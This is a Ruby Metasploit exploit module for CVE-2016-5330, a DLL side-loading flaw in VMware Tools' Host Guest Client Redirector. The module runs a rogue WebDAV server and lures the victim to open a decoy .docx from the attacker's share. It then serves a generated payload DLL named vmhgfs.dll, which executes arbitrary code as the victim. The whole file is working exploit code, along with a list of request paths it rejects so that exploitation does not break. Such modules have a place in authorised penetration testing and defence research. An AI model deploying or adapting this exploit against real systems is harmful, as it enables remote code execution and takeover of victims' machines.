require 'msf/core'   class MetasploitModule < Msf::Exploit::Remote   Rank = NormalRanking      include Msf::Exploit::Remote::HttpServer::HTML  include Msf::Exploit::EXE     def initialize(info = {})     super(update_info(info,       'Name'           => 'DLL Side Loading Vulnerability in VMware Host Guest Client Redirector',       'Description'    => %q{       A DLL side loading vulnerability was found in the VMware Host Guest Client Redirector,       a component of VMware Tools. This issue can be exploited by luring a victim into       opening a document from the attacker's share. An attacker can exploit this issue to       execute arbitrary code with the privileges of the target user. This can potentially       result in the attacker taking complete control of the affected system. If the WebDAV       Mini-Redirector is enabled, it is possible to exploit this issue over the internet.       },       'Author'         => 'Yorick Koster',       'License'        => MSF_LICENSE,       'References'     =>         [           ['CVE', '2016-5330'],         ],       'DefaultOptions' =>         {           'EXITFUNC' => 'thread'        },       'Payload'        => { 'Space' => 2048, },       'Platform'       => 'win',       'Targets'        =>         [           [ 'Windows x64', {'Arch' => ARCH_X64,} ],           [ 'Windows x86', {'Arch' => ARCH_X86,} ]         ],       'Privileged'     => false,       'DisclosureDate' => 'Aug 5 2016',       'DefaultTarget'  => 0))        register_options(       [         OptPort.new('SRVPORT',     [ true, "The daemon port to listen on (do not change)", 80 ]),         OptString.new('URIPATH',   [ true, "The URI to use (do not change)", "/" ]),         OptString.new('BASENAME',  [ true, "The base name for the docx file", "Document1" ]),         OptString.new('SHARENAME', [ true, "The name of the top-level share", "documents" ])       ], self.class)        # no SSL     deregister_options('SSL', 'SSLVersion', 'SSLCert')   end        def on_request_uri(cli, request)     case request.method     when 'OPTIONS'      process_options(cli, request)     when 'PROPFIND'      process_propfind(cli, request)     when 'GET'      process_get(cli, request)     else      print_status("#{request.method} => 404 (#{request.uri})")       resp = create_response(404, "Not Found")       resp.body = ""      resp['Content-Type'] = 'text/html'      cli.send_response(resp)     end  end        def process_get(cli, request)     myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']     webdav = "\\\\#{myhost}\\"       if (request.uri =~ /vmhgfs\.dll$/i)       print_status("GET => DLL Payload (#{request.uri})")       return if ((p = regenerate_payload(cli)) == nil)       data = generate_payload_dll({ :arch => target['Arch'], :code => p.encoded })       send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })       return    end       if (request.uri =~ /\.docx$/i)       print_status("GET => DOCX (#{request.uri})")       send_response(cli, "", { 'Content-Type' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document' })       return    end       if (request.uri[-1,1] == "/" or request.uri =~ /index\.html?$/i)       print_status("GET => REDIRECT (#{request.uri})")       resp = create_response(200, "OK")       resp.body = %Q|<html><head><meta http-equiv="refresh" content="0;URL=file:\\\\#{@exploit_unc}#{datastore['SHARENAME']}\\#{datastore['BASENAME']}.docx"></head><body></body></html>|       resp['Content-Type'] = 'text/html'      cli.send_response(resp)       return    end       print_status("GET => 404 (#{request.uri})")     resp = create_response(404, "Not Found")     resp.body = ""    cli.send_response(resp)   end     #   # OPTIONS requests sent by the WebDav Mini-Redirector   #   def process_options(cli, request)     print_status("OPTIONS #{request.uri}")     headers = {       'MS-Author-Via' => 'DAV',       'DASL'          => '<DAV:sql>',       'DAV'           => '1, 2',       'Allow'         => 'OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH',       'Public'        => 'OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK',       'Cache-Control' => 'private'    }     resp = create_response(207, "Multi-Status")     headers.each_pair {|k,v| resp[k] = v }     resp.body = ""    resp['Content-Type'] = 'text/xml'    cli.send_response(resp)   end     #   # PROPFIND requests sent by the WebDav Mini-Redirector   #   def process_propfind(cli, request)     path = request.uri     print_status("PROPFIND #{path}")     body = ''       my_host   = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']        if path !~ /\/$/          if blacklisted_path?(path)         print_status "PROPFIND => 404 (#{path})"        resp = create_response(404, "Not Found")         resp.body = ""        cli.send_response(resp)         return      end         if path.index(".")         print_status "PROPFIND => 207 File (#{path})"        body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getcontentlength>#{rand(0x100000)+128000}</lp1:getcontentlength> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <lp2:executable>T</lp2:executable> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> |         # send the response         resp = create_response(207, "Multi-Status")         resp.body = body         resp['Content-Type'] = 'text/xml; charset="utf8"'        cli.send_response(resp)         return      else        print_status "PROPFIND => 301 (#{path})"        resp = create_response(301, "Moved")         resp["Location"] = path + "/"        resp['Content-Type'] = 'text/html'        cli.send_response(resp)         return      end    end       print_status "PROPFIND => 207 Directory (#{path})"    body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:" xmlns:b="urn:uuid:c2f41010-65b3-11d1-a29f-00aa00c14882/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> |        if request["Depth"].to_i > 0      trail = path.split("/")       trail.shift       case trail.length       when 0        body << generate_shares(path)       when 1        body << generate_files(path)       end    else      print_status "PROPFIND => 207 Top-Level Directory"    end       body << "</D:multistatus>"       body.gsub!(/\t/, '')        # send the response     resp = create_response(207, "Multi-Status")     resp.body = body     resp['Content-Type'] = 'text/xml; charset="utf8"'    cli.send_response(resp)   end     def generate_shares(path)     share_name = datastore['SHARENAME'] %Q| <D:href>#{path}#{share_name}/</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> |   end     def generate_files(path)     trail = path.split("/")     return "" if trail.length < 2       %Q| <D:href>#{path}#{datastore['BASENAME']}.docx</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>#{gen_datestamp}</lp1:creationdate> <lp1:getcontentlength>#{rand(0x10000)+120}</lp1:getcontentlength> <lp1:getlastmodified>#{gen_timestamp}</lp1:getlastmodified> <lp1:getetag>"#{"%.16x" % rand(0x100000000)}"</lp1:getetag> <lp2:executable>T</lp2:executable> <D:supportedlock> <D:lockentry> <D:lockscope><D:exclusive/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> <D:lockentry> <D:lockscope><D:shared/></D:lockscope> <D:locktype><D:write/></D:locktype> </D:lockentry> </D:supportedlock> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> |   end     def gen_timestamp(ttype=nil)     ::Time.now.strftime("%a, %d %b %Y %H:%M:%S GMT")   end     def gen_datestamp(ttype=nil)     ::Time.now.strftime("%Y-%m-%dT%H:%M:%SZ")   end     # This method rejects requests that are known to break exploitation   def blacklisted_path?(uri)     return true if uri =~ /\.exe/i     return true if uri =~ /\.(config|manifest)/i     return true if uri =~ /desktop\.ini/i     return true if uri =~ /lib.*\.dll/i     return true if uri =~ /\.tmp$/i     return true if uri =~ /(pcap|packet)\.dll/i     false  end     def exploit        myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']        @exploit_unc  = "\\\\#{myhost}\\"       if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'      fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')     end       print_status("Files are available at #{@exploit_unc}#{datastore['SHARENAME']}")        super  endend